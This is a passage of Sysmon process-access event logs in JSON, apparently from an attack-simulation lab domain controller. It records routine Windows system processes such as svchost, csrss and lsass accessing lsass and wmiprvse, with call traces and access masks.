C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.297\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2368\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.297","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2368","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:43.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 